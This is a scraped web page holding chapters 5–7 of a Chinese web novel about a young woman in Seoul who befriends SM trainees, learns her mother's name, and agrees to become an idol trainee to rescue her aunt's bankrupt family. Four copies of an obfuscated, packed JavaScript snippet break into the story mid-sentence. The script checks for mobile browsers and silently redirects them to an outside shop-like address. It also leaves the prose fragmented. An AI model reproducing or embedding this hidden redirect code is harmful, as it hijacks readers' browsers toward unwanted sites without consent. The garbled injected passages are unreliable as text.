姜智恩有一阵的卡壳,突然不知道该说什么了,双手不安地放在桌上紧张的敲打桌面。 金钟沄看着她的动作,挑眉疑惑:“欧尼,你怎么突然紧张了?” 不能怂! 姜智恩挑眉,绝对不能怂。 “啊,不是,你一直叫我欧尼做什么?你明明比我大。” 金钟沄扬起下巴,用一种睥睨的眼神看着她,“我21岁了,欧尼呢?我觉得你肯定比我大?” “好巧!都是84年的!我三月的。”姜智恩震惊,“你几月?” 她看了一眼面前装扮时尚的男生,只有一个念头,练习生真的很养人,完全没看出她的年纪,这也太成熟了。 金钟沄被姜智恩的反应给逗笑了。 “欧尼,一般练习生都是从娃娃抓起,你不知道吗?” “从娃娃抓起?”姜智恩彻底愣住了,“所以……你在SM公司很多年了?” 金钟沄端起冰美式抿了一口,眨眨眼:“对呀!而且,我是8月份的,所以,你比我大,我该叫你一声欧尼。” 姜智恩松了口气,却又觉得好笑。 被一个小半年男生耍得团团转。 “要不你叫一声‘姐姐’来听?” “不!”金钟云摇头,“欧尼!!” 姜智恩来了气,她靠在椅背上,突然觉得眼前的男生鲜活有趣,比凌霄那种现实的成年人可爱多了——至少他还会开玩笑,还会幻想成为大明星。 “那你练习多久了?”姜智恩问。 “五年。”金钟沄放下杯子,手指轻轻摩挲着杯壁。 “哇,好厉害……”姜智恩发出一声感叹。 “每天六点起床,声乐、舞蹈、语言、表情管理……各种练习课排的满满当当,甚至有时候会练到凌晨。不过,上周刚结束月末评价,我拿了舞蹈组第一。” 金钟沄说这话时,下巴微微扬起,眼里闪着光,好像是炫耀一般! 姜智恩忽然想起自己的四年,除了给凌霄当跟班,好像什么都没留下。她有些羡慕这种自己要什么的拼劲。 “你很厉害。”姜智恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352946|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由衷地说。 金钟沄却摇摇头,表情忽然黯淡了些:“还不够。公司今年要推新男团,候选名单里有三十多个人,最后只能出道五到七个。我最好的朋友上周被劝退了,他说撑不下去了,要回釜山老家。” 咖啡店里放着轻柔的爵士乐,窗外天色渐亮,灰色的云层透出些微金光。 姜智恩看着对面男生低垂的睫毛,忽然不知道该说什么。 “那你呢?”她问,“想过放弃吗?” 金钟沄抬起头,眼神重新变得坚定:“想过啊,每次累得爬不起来的时候都想。可是,你知道站在舞台上的感觉吗?灯光打下来,音乐响起来,台下所有人都在看你——那种感觉,就像飞起来一样。我为了能飞起来,什么苦都能吃。” 姜智恩心里某根弦被轻轻拨动了。 她想起父亲病床前的话:“小恩,人活着得有个念想。爸爸的念想是看你长大成人,你的念想呢?” 她当时的念想是凌霄。 现在想想,真可笑。 “你一定会出道的。”姜智恩说,语气异常认真。 金钟沄笑了,“借你吉言啦。” 他看了看手机,“啊,我得走了,七点有早课。” “等等。”姜智恩叫住她,从兜里掏出纸笔——这是她在国外养成的习惯。 她快速写下一串数字,“我的联系方式。如果你需要人说话,或者想吃中餐了,可以找我。我厨艺还不错。” 金钟沄接过纸条,歪头打量她:“欧尼,你这算是在搭讪吗?” 姜智恩脸一热:“不是!我就是觉得在异国她乡,多个朋友挺好。” 金钟沄笑得更开心了,把纸条小心收进手机壳里:“知道啦,开玩笑的。不过说真的,你的韩语得练练,刚才点单时发音完全不对。” “我会努力的。”姜智恩认真点头。 金钟沄站起身,背起双肩包。晨光恰好在这一刻穿过云层,透过玻璃窗洒在她身上,给他镀了层金边。 他挥挥手:“再见啦,欧尼。祝你今天好运。” “你也是。” 姜智恩目送她推开店门,消失在忠武路的街角。她低头看着还剩大半杯的冰美式,忽然觉得这苦涩的液体也没那么难喝了。 * 接下来的两周,姜智恩忙得脚不沾地。 她每天上午学韩语,下午去图书馆查资料,晚上则泡在出租屋里整理父亲留下的手稿。父亲是研究朝鲜半岛近代史的学者,生前最大的愿望就是完成这部专著。 姜智恩来韩国,一半是为了逃离过去的阴影,另一半就是为了完成父亲的遗愿。以及看看是否有机会寻找到母亲,当然,姜智恩觉得后者可能性不大。 凌霄的短信和那段四年的感情,被她刻意封存在记忆深处。 偶尔夜深人静时会冒出来刺痛一下,但很快就被繁重的工作压下去。她渐渐明白,有些人出现在生命里,只是为了教会你一些事,然后离开。 秋天的阳光变得斜长,温柔得像一层柔光滤镜,下午三四点的影子被拉得很长,带着一种毛茸茸的轮廓。 姜智恩正在图书馆看书,手机震了一下。 是个陌生号码。 【欧尼,我饿了。可以给我做中餐吗?——金钟沄】 半个月前的记忆突然钻进脑海,姜智恩嘴角不自觉扬起。 她快速回复:【想吃什么?】 5. (005) 【糖醋肉!我们练习生食堂只有沙拉和鸡胸肉,我要吃肉!地址在这里,圣水洞附近的居民楼,我在朋友家里。——金钟沄】 【晚上七点,可以吗?】 【好!我能不能多带一个人?他也是练习生,很喜欢中国文化。】 姜智恩一听是华夏人,心里涌起一阵亲切感。 她回复了【好】,然后提前结束学习,去市场采购食材。 首尔的超市里调料并不齐全,姜智恩跑了好几家才买齐陈醋、料酒和八角。提着大包小包站在一动居民楼前,她忽然有种如释重负的期待感。 六点五十。 姜智恩抬起手按下门铃。 很快,金钟沄和一个差不多高的“长发女孩”站在门口。 “女朋友??”姜智恩好奇。 金钟沄轻笑,“长发女孩”抬起手像是要打人,“呀!我是男人,男人啊!” “哦莫,原来是男生呀~~”姜智恩这才恍然,原来男孩留着长发,长相清秀,眼神里带着些许怯生生的好奇。 金钟沄穿着简单的卫衣牛仔裤,素面朝天,比咖啡店那次看起来更像个高中生。 “欧尼,快进来!”金钟沄笑嘻嘻地说,然后介绍身边的人,“这是比我大一岁的,金溪澈,他也是SM的练习生。” “你好,我叫姜智恩。”姜智恩用中文说。 金溪澈眼睛一亮,他用蹩脚的中文回答道:“你好你好,钟云说你做饭特别好吃,我们就厚着脸皮邀请你来了。” “嗯,你放心,我厨艺还不错。”姜智恩应声答道,跟着两人走进了屋子。 房子并不大,两室一厅,但收拾得很干净。 小书桌上摆满了各种资料,一张张的卷子叠在一起,厚厚的。 姜智恩好奇地打量着房间:“金钟沄,你还要兼顾学业?” “肯定啊!你不知道这里很卷的,如果不能成功出道,我还能重新去高考,这也算是一条出路。”金钟沄说的很认真,听得姜智恩一愣一愣的。 难怪小姑姜怀瑾非常注重她的学习,看来学习这东西无论在哪儿都是很受用。 “好厉害。”姜智恩一边系围裙一边说,“不仅要完成学业,还要参加训练,小小的肩上有大大的重任!” “欧尼,你真的不会夸人。”金钟沄冷笑了声,然后抬起头,“我和金溪澈先去看电视了,你忙吧!” 他不喜欢厨房的油烟味,这里就交给姜智恩吧。 金溪澈拍了下金钟沄的手,“这里交给她,没问题吗?” 金钟沄眨眨眼,“没关系啊!她是好人啦!” 姜智恩笑着摇摇头,专注地处理食材。 排骨焯水,调糖醋汁,切葱姜蒜。 油烟升腾时,她忽然想起以前给凌霄做饭的场景,为了追求凌霄,姜智恩甚至还专门研究了厨艺,现在能够做出这么好吃的饭菜,也多亏了凌霄的监督。 没想到每一次给凌霄做好了吃的,他总是挑三拣四的。 那时她觉得那是甜蜜的负担,现在想来,不过是一厢情愿。 “需要帮忙吗?”金溪澈的声音从厨房门口传来。 “不用,快好了。”姜智恩转头,看见金溪澈倚在门边,“在SM还习惯吗?” 金溪澈苦笑:“每天都在怀疑人生。太难了,舞蹈动作又细,有时候老师说的我都听不懂,只能看别人怎么做。不过钟云帮了我很多。” “你们关系很好?” “嗯,练习生能互相照应是缘分。”金溪澈温柔地回答。 姜智恩把糖醋排骨装盘,又炒了个蒜蓉西兰花,煮了紫菜蛋花汤。 三菜一汤摆上小桌时,金钟沄已经眼巴巴地等在桌边了。 “我要开动啦!”他双手合十,迫不及待地夹了块排骨。 金溪澈吃得比较矜持,但速度也不慢。 两个男生显然很久没好好吃顿家常菜了,不一会儿就吃得脸颊鼓鼓的。姜智恩看着她们,心里涌起一种奇妙的满足感。 “欧尼,你将来想做什么?”金钟沄吃到一半忽然问。 姜智恩想了想:“完成我爸的书,然后可能读个博士,继续做研究。或者写点东西。”她反问,“你们呢?除了出道,还有什么想做的?” 金钟沄咬着筷子:“我想开舞蹈工作室,教小朋友跳舞。金溪澈欧尼想当设计师,他画画可好了。” 金溪澈不好意思地笑笑:“那是很久以后的事啦,现在只想先出道。” “你们都会实现的。” 姜智恩认真地说。 饭后,两个男生主动要求洗碗。 姜智恩没推辞。 水流声、碗碟碰撞声和他们压低的笑语声从厨房传来,让这间小出租屋充满了生机。 收拾妥当后,金钟沄看了看时间:“欧尼,我们送你回家吧?” 姜智恩有些惊讶,“我暂时居住在亲戚家里,让你们送我,不太好吧?” 金钟沄摇头,“不是呀,我和金溪澈也顺便散散步。你住在哪儿?” 姜智恩:“忠武路。” “呀!”金钟沄瞪大双眼,“有钱人。” 姜智恩只能尴尬地摸摸后脑勺,也不知道说什么。 “走吧,我们送你。”金钟沄勾着金溪澈的肩,跟在姜智恩的身后。 三个人并排的走着,街灯把他们的影子拉得很长。 夜色已深,首尔的街道依旧灯火通明。 直到走到忠武路的时候,姜智恩在一栋别墅前停了下来,“嗯,就是这里了。” 金钟沄轻笑着,“也不是很远嘛,我们才走了半个小时。” 金溪澈:“姜智恩xi,谢谢你给我们做饭!” “没事,大家互帮互助,我在这边没朋友,你们是我认识的第一个朋友,和第二个朋友。”姜智恩也不好意思拒绝,轻笑着收下了感谢。 金钟沄上前一步,“欧尼,我们回家了!下次再约!” “内~~”姜智恩点头挥手,目送她们离开。 金钟沄走了几步,忽然转身跑回来,从包里掏出个小盒子塞给姜智恩。 “这是什么?” “喉糖。”金钟沄说,“听你说话嗓子有点哑,肯定是最近熬夜了。练习生都用这个,保护嗓子。” 他眨眨眼,“下次还想吃水煮鱼!” 说完,金钟沄挥挥手,拉着金溪澈跑向地铁站。 两个男生的身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352947|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快消失在街角。 姜智恩握着那盒喉糖,站在原地很久。 夜风微凉,让她更加清醒。她忽然清楚地意识到,人生这条路只要有灯光,只要往前走,就总有新的光会亮起来。 回到房间,姜智恩打开电脑。 文档里是父亲未完成的书稿,停留在第五章。她滑动鼠标,看着那些熟悉的字句,第一次不再感到沉重。 她新建了一个文档,标题写上:《续写》。 窗外,首尔的夜空渐渐晴朗,星光点点。 姜智恩敲下第一个字时,手机屏幕亮了。 是金钟沄发来的短信:【安全到宿舍啦。谢谢款待,糖醋肉是世界第一好吃!PS:下次别叫我小孩了,我可是要当大明星的人。^^】 姜智恩笑了,回复:【好,未来的大明星。练习加油。】 然后她打开凌霄的聊天记录,按下删除键。 红色的感叹号永远消失了。 这一次,就当做告别。 她既然来到了半岛,就应该和从前说拜拜——包括那段单方面付出的所谓的爱情。 * 半夜,姜智恩还在睡梦中,被一阵吵闹声惊醒。 屋外的争吵飘进屋内,她清晰地听见李在伊哭泣的声音。 “我不想参加补习班!我要画画!我要当艺术家!”李在伊夹着哭腔,声音都是颤抖的。 姜智恩震惊,立刻从床上坐起来,她走到门口轻轻推开门,果然看到李在伊穿着漂亮的小裙子站在走廊和人争执。 而那个人不是别人,是小姑姜怀瑾。 李在伊面对着墙面站着,哭的哇哇大叫,“妈妈,我讨厌你!凭什么不让我学画画!” 姜怀瑾拿着一张尺子重重拍打在手臂,“文化课考零分!你学什么画画?李在伊,妈妈不是告诉过你,只有文化课的成绩提高了,你才可以做自己想做的事情吗?” 李在伊辩解:“明明文化课的总分刚好,我能考上一个好一点的美术学院的。妈妈,你相信我。” 对于孩子的教育,姜智恩是不可能插话,她也没什么权利去管小姑教育孩子的事情。可是看着李在伊哭得眼睛都红了,委屈巴巴的样子,姜智恩又不忍心了。 “你还狡辩?”姜怀瑾重重拍打李在伊的手臂,巨大的震动弄得她整个人有些晃晃悠悠,她吃疼,眼含泪花地捂着手臂,不服的顶嘴:“妈妈,我们要看总成绩,而不是只看文化课!我明明……” 没等着李在伊说完,姜怀瑾又是一个戒尺拍过去。 这一次,姜智恩忍不住了,冲过去抓住戒尺,抬眸冷冷看着她,“小姑!” 姜怀瑾抬头,盯着姜智恩的眼睛,她的眼睛微微发红,像是马上要崩溃的大哭。 “小恩,你让开!我现在不教训她,我心里气不过!给她报了那么好的补习班,怎么一点用也没有?”姜怀瑾几乎崩溃,“小恩,你不懂一张文凭的份量!她现在是关键时刻,马上就要高考了!现在不给她一点长点记性,以后怎么办?我们在圈子里也是有头有脸的,她居然考零分,我以后在别人的面前都要抬不起头了!” 姜智恩重重抓住姜怀瑾的手腕,声音恳求着,“小姑,别生气了。” 6. (006) 李在伊哭得一抽一抽的,她转身抬头看向母亲,突然扑进她的怀里,声音委屈巴巴,“妈妈,你别打我了,是我不好,我给你丢脸了……” “妈妈也不是想骂你,你平时态度这么硬,妈妈不希望你成为刺头。”姜怀瑾心软了,伸出手摸着李在伊的头,温柔的安抚,“打疼了吗?在伊啊,你要记住,我们不能被人赶上啊!一定要成为最优秀的那一个!” 李在伊伸出手,给姜怀瑾擦干眼泪。 “妈妈别哭,呜呜呜,我以后再也不惹你生气了!我要发奋努力,绝对不会让你在别人面前丢脸的。”她揉了揉眼睛,企图擦掉眼角的泪花,“妈妈,欧尼,我回房间复习了,这次一定不会交白卷。” 说完,李在伊打开房间的门,然后走了进去。 姜怀瑾看着女儿的背影,默默地叹了一口气,她转过身,抬起手擦干眼泪,突然笑了。 “也不知道她疼不疼,哎,每次考试都要和我演这一出,小恩,你是不知道在伊她这次是故意气我的,直接没去参加考试,她跑去外出写生去了!”姜怀瑾像极了每个家长一样,皱着眉,眼神里还带着一点微怒,“人家王贵妇问我孩子考多少分,我怎么好意思说她才考了零分呢?我要是不叫教训她,还不知道这事儿!居然交白卷,真是气死我了。” 姜智恩愣住。 “刚才,刚才……”她指着姜怀瑾,犹犹豫豫地才找到自己的声音,“小姑,你刚才演戏啊?” 这演技不拿奖可惜了! 姜怀瑾捂嘴偷笑,一双眸子神采飞扬,“我们家在伊啊,就是有点傲娇,每次考试前都特别紧张,就需要我给她加把劲,偶尔也会来一点身体惩罚,这样她才能认真学习。” “!!!” 姜智恩震惊。 可以说是变态心理吗? 姜智恩多看了姜怀瑾一眼,只能尴尬地点头,“小姑教得好,呵呵,呵呵呵……” 还能做什么? 跟着一起变态呗! “小恩,你学校的事情联系好了,下周一就去报到。”姜怀瑾提起正事的时候,眼里还挂着残留的泪痕。 戏演过头了啊喂! 姜智恩感动,“小姑,谢谢你帮我联系学校。” “没关系,我听说你在国内的学习成绩还不错,以后帮我多多教育在伊吧?她的文化课很差劲的,之前找了家教,可惜她根本没用心。如果换成你的话,或许会有点进步。”姜怀瑾认真地提及这件事,突然像是想到了什么,她扭头看向姜智恩,“这张脸真是和你妈妈很像……” “小姑,你见过我妈妈?”姜智恩吓了一跳,她来韩国的目的就是找到生母!“我妈妈她现在在哪儿,你知道吗?” “呀,我不是说见过她,只是……你和她真的很像,我有照片的。”姜怀瑾又解释道,“再说了,她们结婚的时候我回国参加过婚礼,所以也有一点印象。” “哦,原来是这样。”姜智恩有些气馁,她还以为能够找到母亲的消息了。 姜怀瑾语重心长:“小恩,没关系,我相信总有一天你们母女俩能团聚的。” “好像……或许吧……”姜智恩有些没信心,茫茫人海,想要找一个不愿意抛头露面的人简直比登天还难。 姜怀瑾拍了下姜智恩的肩,“我会拜托朋友们帮你寻找的,只要她还在这里,肯定能找到的,你放心!” 姜智恩像是鼓足勇气般,“小姑,我能知道我妈妈叫什么吗?” 名字。 她母亲的名字,父亲姜杉从未提及过,只是说那个女人选择了另一种生活,甚至没有记恨她。 可是在亲戚圈子里,母亲早就恶名在外。 都说她是抛夫弃子的没良心的。 姜怀瑾认真地看了一眼姜智恩,然后,叹了一口气,才缓缓开口说道:“她叫白雨浓。” 姓白。 白雨浓。 不愧是会跳舞的妈妈,这个名字太文艺了。 姜智恩做梦都没想到那个被人诟病的抛夫弃子的没良心的母亲居然有这么一个好听的名字。 “谢谢你,小姑。”姜智恩摸了摸后脑勺,“以前我爸从来不提她的名字,谢谢你告诉我。” “你应该知道的。”姜怀瑾像是想起了什么,突然问,“小恩,最近有没有经纪公司联系你?” 一下子被提问,姜智恩还有些没反应过来。 她愣在原地看向姜怀瑾,“小姑,你刚才说什么?什么经纪公司?” 姜怀瑾想到丈夫李敏洙提及的“SM娱乐正在开展选秀”,又想着之前姜智恩在论坛上爆火的内容,很肯定地拒绝道:“小恩,别走爱豆这条路,不适合你。” 姜智恩的错愕还挂在脸上,姜怀瑾已经皱紧了眉,语气里带着不容置喙的强硬:“我说经纪公司,最近有没有人找你谈过签约的事?” 她顿了顿,见姜智恩仍是一脸茫然,又补充道,“就是想让你当爱豆、拍照片、唱跳那种公司,比如SM、JYP那些。” “没有啊。”姜智恩回过神,语气诚恳,“小姑,我从来没想过要当爱豆,也没人找过我。” 她对娱乐圈毫无兴趣,来这里的唯一目的就是寻找生母白雨浓,至于唱歌跳舞,她连基本的节拍都抓不准,更别说以此为业。 姜怀瑾显然不信,她上前一步,伸手拍了拍姜智恩的脸颊,指尖带着长辈的不容置疑:“小恩,你别骗小姑。你这张脸,比那些当红女团成员还出挑,之前在论坛上不还爆火过吗?肯定有公司盯上你了。” 她想起丈夫昨晚提及的事,SM娱乐近期在全国搜罗新人,尤其偏爱姜智恩这种外形优越、自带话题度的素人,心里更是笃定,“你是不是偷偷和公司接触过,不敢告诉我?” “小姑,我是真的没有。”姜智恩无奈地避开她的手,语气也沉了几分,“我来这里是为了找我妈妈,不是来当什么爱豆的。那种抛头露面、被人追着拍照的生活,我一点都不喜欢。” 她向来习惯低调,论坛上的爆火本就是意外,她甚至特意换了账号,就怕引来不必要的关注。 “你懂什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352948|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”姜怀瑾的声音陡然拔高,之前演戏残留的泪痕早已干透,此刻眼底满是急切,“爱豆怎么了?现在顶尖爱豆的收入、地位都不低,比你埋头读书找份普通工作强多了。再说,SM是大公司,资源好,只要能出道,就能被更多人认识,到时候帮你找妈妈也能多些渠道啊。” “这不是一回事。” 姜智恩也来了脾气,她知道姜怀瑾是为她好,可这种强加的想法让她窒息,“我找妈妈是私事,不想借着这种方式炒作。而且我对唱跳一窍不通,就算进了公司,也不可能出道,只会浪费时间。小姑,你能不能相信我一次,我真的没兴趣。” 两人各执一词,客厅里的气氛瞬间僵持。 姜怀瑾看着姜智恩紧绷的侧脸,气不打一处来,却又碍于她是客人,不能像教训李在伊那样发作,只能咬着牙道:“你现在是不懂,等你接触了就知道这行的好处了。我不管,你不准私下和任何经纪公司联系,这事必须听我的。” 姜智恩懒得再争辩,只觉得满心疲惫,点了点头敷衍过去,转身回了客房。 关上门的那一刻,她靠在门板上,轻轻叹了口气。 小姑的强势和误解,让她愈发想念那个素未谋面的母亲,若是能找到白雨浓,是不是一切就能不一样了? * 第二天一早,姜智恩趁着姜怀瑾去给李在伊开家长会,悄悄换了身简单的卫衣牛仔裤,戴上鸭舌帽和口罩,打算去圣水洞逛逛。 她听说那里有不少复古市集和独立书店,或许能散散心,也顺便避开小姑的念叨。 十月的圣水洞阳光正好,街道两旁的梧桐叶泛着浅黄,行人三三两两,透着慵懒的烟火气。 姜智恩摘下口罩,任由微风拂过脸颊,沿着街边慢慢走着,偶尔驻足看看市集上的小物件,紧绷的心情渐渐舒缓。 她不太习惯首尔的繁华喧嚣,反而偏爱这种安静的角落,仿佛这样就能离母亲更近一点——她总觉得,白雨浓这样名字温柔的人,应该也喜欢这样的地方。 逛到正午时分,姜智恩肚子有些饿,便拐进一条小巷,打算找家小众餐厅吃饭。 刚走到巷口,身后突然传来一声急促的呼喊,带着些许试探:“您好,请等一下!” 姜智恩疑惑地转过身,只见一个穿着黑色西装,背着公文包的中年男人快步走来,男人戴着金丝眼镜,眼神锐利,上下打量着她时,难掩眼底的兴奋。 姜智恩心里咯噔一下,下意识地想戴上口罩,却被男人抢先一步拦住。 “您好,我叫金成宇,是SM娱乐的星探。”男人笑着递过一张烫金名片,语气恭敬又急切,“我刚才在市集那边就注意到您了,您的外形和气质太出众了,完全符合我们公司的选拔标准。” 姜智恩看着名片上“SM娱乐”的字样,脑袋瞬间一片空白。 昨晚和姜怀瑾的争执还历历在目,没想到竟真的遇到了星探。 这是命运的捉弄,还是玩笑? 她没有接名片,语气冷淡地说:“抱歉,我没兴趣当爱豆。” 7. (007) 金成宇却没有放弃,依旧坚持把名片塞进她手里,耐心解释道:“女士,您先别急着拒绝。我知道很多人对爱豆行业有误解,但SM的造星能力您是清楚的,我们不会强迫您做不喜欢的事,只是想邀请您去公司面试一下,了解一下我们的培养计划。就算最后不签约,也没关系,就当是多一个选择。” 姜智恩捏着那张薄薄的名片,指尖有些发凉。 她能感觉到金成宇的目光一直落在自己身上,带着势在必得的执着。 周围路过的行人也纷纷侧目,好奇地打量着她们,让她浑身不自在。 “我真的不需要。”姜智恩说完,转身就要走,却又被金成宇拦住。 “女士,您再考虑考虑。”金成宇的语气带着一丝恳求,“我们找了很久像您这样的苗子,不仅外形优越,身上还有一种很特别的气质,这种天赋是天生的,错过太可惜了。您可以留下联系方式吗?如果您改变主意了,随时可以联系我。” 姜智恩皱着眉,心里有些烦躁。 她不想和金成宇过多纠缠,也不想在大街上引起更多关注,思索片刻后,还是接过了名片,含糊道:“我会考虑的,有想法再联系你。” 说完,不等金成宇再说话,便快步走进小巷,消失在她的视线里。 走进餐厅,姜智恩找了个角落的位置坐下,把名片放在桌上,看着那几个烫金的大字,只觉得头疼不已。 她拿起手机,想给姜怀瑾发消息,却又不知道该说什么。 服务员递上菜单,姜智恩随意点了几样菜,目光却始终落在那张名片上。 她很清楚,自己绝对不会去面试,可金成宇的话又让她有些恍惚,或许,这真的是一个寻找母亲的机会?但一想到爱豆行业的复杂,她又立刻否定了这个想法。 一顿饭吃得索然无味,姜智恩结完账,走出餐厅时,特意绕了远路,确认金成宇没有跟来,才松了口气。 回到家时,姜怀瑾已经回来了,正坐在客厅里和李在伊说话。 看到姜智恩进门,姜怀瑾立刻看了过来,眼神带着审视:“你去哪儿了?一早上都不见人影。” 姜智恩下意识地按住兜里的名片,心跳微微加快,强装镇定地说:“没去哪儿,就去圣水洞逛了逛。” 她不敢说出遇到星探的事,可她知道,这张名片就像一颗定时炸弹,迟早会被姜怀瑾发现。 姜智恩刚换好鞋,就察觉到客厅的气氛不对劲。 李在伊低着头坐在沙发角落,手指抠着校服裙摆,眼圈红红的,而姜怀瑾背对着玄关站在落地窗前,肩膀绷得笔直,手里攥着一份皱巴巴的文件,指节泛白。 空气里弥漫着一种压抑的沉默,连窗外的梧桐叶沙沙作响的声音,都显得格外刺耳。 “小姑?”姜智恩放轻脚步,试探着喊了一声。 姜怀瑾猛地转过身,脸上没有了往日的强势,眼底布满了红血丝,平日里打理得一丝不苟的卷发凌乱地贴在脸颊,看起来憔悴得不像话。 她张了张嘴,声音沙哑得几乎听不清:“小恩,你回来了。” “发生什么事了?”姜智恩心里咯噔一下,快步走上前,目光落在她手里的文件上。 那是一份破产清算通知书,抬头赫然印着李敏洙影视文化工作室的字样。 “姑父的公司……”姜怀瑾的声音带着颤抖,话没说完,眼泪就掉了下来,“昨天还好好的,今天就收到了法院的传票。合作方突然撤资,还卷走了工作室的流动资金,我们……我们连员工的遣散费都拿不出来了。” 李在伊吸了吸鼻子,哽咽着补充:“爸爸把房子和车子都抵押出去了,还是不够。刚才银行的人来过,说如果下周还不上钱,就把我们赶出去。” “如果拿不出钱,这套房子就会被法拍!”姜怀瑾眼眶红红,“小恩,对不起,我没想到会给你带来这么大的麻烦。” 姜智恩愣住了。 她虽然来首尔的时间不长,却也知道这家工作室是李敏洙和姜怀瑾半辈子的心血。 从一个只有三个人的小作坊,一步步做到能接大制作的策划案,其中的艰辛,姜怀瑾偶尔提起时,语气里都带着骄傲。 可现在,这份骄傲,碎得一塌糊涂。 “怎么办啊,欧尼~~”李在伊的眉眼紧紧地皱成一团,手紧紧地捏着那张白纸,恨不得撕碎它。 姜怀瑾抹了把眼泪,强撑着挤出一个难看的笑容:“没事,小恩,这是我们的事,不会连累你的。你放心,我和敏洙哥会想办法……” “小姑。”姜智恩打断她的话,看着她泛红的眼眶,心里像被什么东西揪紧了。 她想起昨晚两人的争执,想起姜怀瑾说“当爱豆能赚很多钱”时的急切,或许,那时候,她就已经知道公司出了问题,只是没告诉她。 李敏洙垂着头从卧室里走出来,眼底满是疲惫和颓唐。他拍了拍姜怀瑾的肩膀,声音低沉:“别瞒着了,也没什么好瞒的。” 她看向姜智恩,苦笑了一声,“小恩,对不起,让你看笑话了。” “姑父,我没有。”姜智恩连忙摇头。 接下来的几天,家里的气氛一直很低沉。 姜怀瑾和李敏洙每天早出晚归,跑遍了所有能求的人,却处处碰壁。曾经围着她们转的合作方,如今避之唯恐不及,甚至有人落井下石,提起了陈年旧账。 李在伊也变得沉默寡言,放学回家后就主动包揽了所有家务,再也没有吵着要去游乐园。 看着一家人的窘迫,姜智恩心里五味杂陈。 她翻出自己所有的积蓄,那是她攒了多年的压岁钱和奖学金,可对于工作室的巨额债务来说,不过是杯水车薪。 她第一次痛恨自己的无能为力。 这天下午,姜智恩替姜怀瑾去给一个客户送资料,却被对方拒之门外。她攥着那份沉甸甸的文件,漫无目的地走在街头,心里堵得慌。 路过一个公交站台时,一个熟悉的声音突然叫住了她:“姜小姐,真的是您!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352949|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜智恩回头,看到金成宇正快步朝她走来。几天不见,这位SM的星探依旧西装革履,只是眼底多了几分惊喜。 “我找了您好几天了。”金成宇递过来一瓶水,语气恳切,“您考虑得怎么样了?” 姜智恩下意识地想拒绝,可话到嘴边,却又咽了回去。 她看着金成宇手里的名片,那烫金的“SM娱乐”四个字,此刻竟像是一道微弱的光,照进了她灰暗的心里。 她想起姜怀瑾憔悴的脸,想起李敏洙紧锁的眉头,想起李在伊偷偷抹眼泪的样子。 当爱豆,抛头露面,被人评头论足,这些她曾经无比抗拒的事情,此刻却成了唯一的破局之法。 SM的造星能力毋庸置疑,只要能出道,就能赚到钱,就能帮小姑和姑父度过难关。 至于找妈妈…… 或许,真的像姜怀瑾说的那样,成了公众人物,会有更多人认识她,会有更多线索。 金成宇似乎看穿了她的动摇,趁热打铁:“抱歉,我知道您有顾虑。但您放心,SM对练习生的培养是全方位的,而且我们可以给您最优厚的待遇。只要您愿意签约,前期的培训费用全免,还能预支一笔生活费,解决您的燃眉之急。” 预支生活费。 这五个字,像一根针,刺破了姜智恩最后的防线。 她深吸一口气,抬起头,目光里少了几分犹豫,多了几分坚定。 “我答应你。” 四个字落下的瞬间,金成宇的眼睛亮得惊人:“真的吗?太好了!您放心,我们一定会把您打造成最顶尖的偶像!” 姜智恩没有笑,只是轻轻点了点头。她看着手里的名片,指尖微微发烫。 她不知道这条路有多难走,不知道自己要付出多少汗水和努力,更不知道未来会面对什么。 但她知道,为了姜怀瑾,为了这个收留她的家,她必须走下去。 夕阳的余晖洒在她身上,拉出一道长长的影子。她的背影,带着一丝孤勇,也带着一丝决绝。 她把名片小心翼翼地放进兜里,转身朝着家的方向走去。 她要回去,告诉姜怀瑾这个决定。 她知道,小姑听到这个消息,一定会哭。 但这一次,她不会再退缩了。 等姜智恩回到家,小姑姜怀瑾坐在沙发上叹气,面前是一叠文件。 “小恩,你回来啦。” 